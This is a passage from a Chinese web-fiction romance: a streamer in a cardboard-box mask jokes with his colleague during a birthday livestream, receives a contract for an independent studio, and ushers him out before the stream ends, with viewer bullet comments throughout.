今晚的弹幕冲击实在太过密集,郁思白觉得自己现在已经next level,不仅能面不改色地看到这些话,甚至能面不改色地让季闻则也看见。 不过……Execut2老公? 默念弹幕的声音在脑海里一闪而过。 这话他上次说的时候……他还是个笔直的钓鱼人呢。 现在一切都不一样了。 【也正常啦hh我一般也不会在我男朋友面前对着别的纸片人叫老公(?)】 【哈哈哈更何况这还不是纸片人】 【这是真人啊兄弟们!】 【而且还是个认识的真人……万一哪天蹦出来】 【说“哎你这样喊了我你要对我负责”】 【那岂不是坏了哈哈哈哈】 【笑死我了……那不勉强了】 现在,怎么就不能钓鱼了? 郁思白忽然醒悟。 他向来一身反骨,弹幕越往东,他就偏偏往西,哼了声,正气道。 “没什么吧,不勉强,传统不能丢。” 反正他在头套里面,怕什么。 郁思白清了清嗓子,端详着手里的画集,纸壳子头一歪,收了收嗓子,声音都比平时甜了一个度。 “画的真的特别帅,谢谢feifei,简直是我失散多年的亲老公呀!” 他说罢,他看向摄像头,抬了抬下巴,虽然眼神露不出来,但面对镜头后的人,挑衅的意思已经表现得很明显。 远远的,坐在椅子上的季闻则换了个姿势,双腿交叠,轻呵了声,似笑非笑地看了他一眼,然后拿出手机。 郁思白一愣,脑海里刚转了两秒,余光就看见电脑屏幕上,冒出一个黄色的醒目留言。 【Execut2:听见了】 季闻则轻哂。 你有实体的头套,我也有赛博的马甲啊,Respit2。 【??卧槽,谁来了?】 【曹操?】 【靠,什么召唤兽】 【说你招魂你还真会招魂啊主播?!】 又是一条醒目留言。 【Execut2:不过,当着别人的面说这个,好么】 【Execut2:不会误会吧?】? 郁思白只觉得嗓子一哑,深吸一口气,手缓缓捏紧,纸箱子下面的表情反而笑了。 气笑的。 脑海里冒出三个大字——打不过。 可对面完全没打算放过他,坐在镜头后的季闻则把手机倒扣在腿上,勾了勾唇。 他离镜头近,因而说话声音也不用很大,即使是轻轻的叹息也被录了进去。 现实里的“同事哥”叹了口气,语气落寞,但唇角带笑地唱起双簧。 “没关系,你想喊哪个都行。” 【草】 【同事哥大气】 【这就是正宫的肚量吗】 【大度啊!】 郁思白嘴唇一哆嗦,彻底没话说了。 大度在哪?我请问大度在哪儿啊! 不都是他吗? 喊谁他不应啊! 过了两秒,终于,郁思白成功抬起颤抖的手,指着季闻则。 “……你不要以为我把你头壳摘了,就没有东西能封印你的嘴了。” 季闻则轻笑,开口。 “我说了,我不没名没分地跟人玩这——” 话音未落,郁思白慌忙摸了一只毛绒玩具,稳准狠地往过一砸。 卧槽住嘴啊!在直播!! 他原以为,季闻则是要脸的。 但他显然失算了,这人根本没露脸,哪来的要不要脸的说法? 郁主播在现实里的瞄准能力,显然和游戏里差不多,毛绒玩具瞄着季闻则过去,却砸得镜头一晃。 季闻则一手扶住镜头,头微微一偏,用极优雅的动作躲开了毛绒玩具,手探到身后,竟然还稳稳接住了玩具。 郁思白:……动态视力是这样用的吗? 我打不到人啊!! 季闻则轻轻把毛绒玩具抛回来,笑了下:“不逗你了,时间不早,播完该睡了。” 隔着箱子,郁思白将信将疑地盯了人好一会儿,但他真的就安安分分的到了最后。 最后郁思白才反应过来……刚刚那场战争,似乎,是自己挑起来的。 怪不得季闻则安分了,原来是自己没挑事儿了啊。 郁思白摸了摸鼻尖,拆开的礼物在身边排了一圈,终于露出了行李箱最下面的那个牛皮纸袋。 他抬头看了眼季闻则,忍不住想,不是他对Execut2多念念不忘,而是这个人不张嘴的时候,实在是赏心悦目。 纸箱子深沉地摇了摇头,郁思白弯腰拿出牛皮纸袋。 【哇这是什么】 【感觉一股社畜味儿能说吗】 【莫非是同事哥送的?】 “嗯。”郁思白顿了一下,抬头问,“能对镜头吗?” “避着点儿吧。”季闻则道。 郁思白也没多问,直接往后撤了撤,自己离镜头远了些,保证不会被拍清楚里面的文件。 里面装的是文件,他早就摸出来了。 至于内容…… 他绕开上面的白色细绳,抽出一沓薄薄的纸。 如他所料,是一份合同。 他一行行细看过去。 是季闻则跟他说过的,真正的独立工作室。 一组成员有意向可以直接转岗;庭季入股,但没有管辖权;季闻则本人则会在他们找到合适的商务专员之前,一直提供帮助…… 一条条列的清楚明了。 这些世俗的、充满铜臭味道的条陈,如同针线一样,编织出一对能托起梦想的翅膀。 郁思白脑海里忽然想起之前看祝福视频时的那句。 ——去闯荡,去自由。 他忽然心一软,捏着那份合同,轻轻说。 “……谢谢啊。” 季闻则无声在镜头后伸手,对着空气拍了两下。 郁思白起初没理解是什么意思,但很快反应过来,这人是在隔空拍自己的头。 他张了张嘴,不能说自己真的很受用,只道:“你不要搞这种……” “跟你一起工作很舒服。”季闻则笑。 不是直男的人也突然打了个直球。 “那我就收下了?”郁思白眨了眨眼,忽然也笑。 “跟你一起共事,也很幸运。” 【???这是怎么了】 【在干什么】 【不er,没跟我说今天要结婚啊啊啊】 余光瞥见滚动到飞起的弹幕,郁思白吸了口气,在自己逐渐加快的心跳声中起身说:“好啦,今天直播就差不多到这儿吧。” 说罢,他绕过镜头,轻轻拍了一下季闻则的手臂,小声道:“起来。” 季闻则起身,被郁思白轻轻推着后背,走到了门口。 郁思白伸手去摘头上的箱子,在一半的地方卡了一下,季闻则抬手帮他摘下来,然后随手放到玄关的小柜子上。 郁思白眨了下眼睛,微微抬头看着他。 那个眼神让季闻则有一瞬间觉得,像下一秒就要闭眼凑上来…… 突然,脚下一个踉跄! 季闻则只觉得背后冷不丁传来一股无法违抗的力道,再一回神—— 自己已经到门外去了。 他飞快转身,房门却已经只留了一条缝隙。 郁思白扒在门缝里,露出一只眼睛,严肃道:“虽然你送了很贵重的礼物……” “但我必须要在直播结束之前把你清理出去。” 他一根手指探出门缝,屈指像挥手一样摇了摇。 “明天见……Execut2。” 说罢,门轻轻在面前合上,咔哒一声落锁。 怔愣过后,季闻则偏过头去,低声轻笑。 过了好几秒,郁思白才隐约听到门外走远的脚步。 他后背贴着门板,深呼吸了好久,用手背去试探脸颊的温度,又啪啪地拍了好几下,才重新拎着纸壳往回走。 镜头对着窗户的方向,郁思白没越过镜头,只伸手过去,对着镜头晃了晃。 “好啦,我准备关摄像头下播咯。” 【同事哥呢?】 【刚刚听到关门……是不是丢出去了hhh】 【卧槽主播你手好红……】 【草,在他变得这么红之前,我对主播有多白还没有清晰的认知】 【主包真的很白有人懂吗】 弹幕又开始说一些不着边际的话,但郁思白这次没有像之前一样开口拦他们,大概是自己早已经无暇他顾,只清了清嗓子说。 “谢谢你们给我的生日礼物,我很喜欢。” 【么么re宝!】 【最喜欢哪个已经无需多言】 【哎呀以后是不是有人来替我们疼你了】 【你这个疼是正经的疼吗】 【等一等,这个直播间今晚的车速是不是有点快了啊。】 【@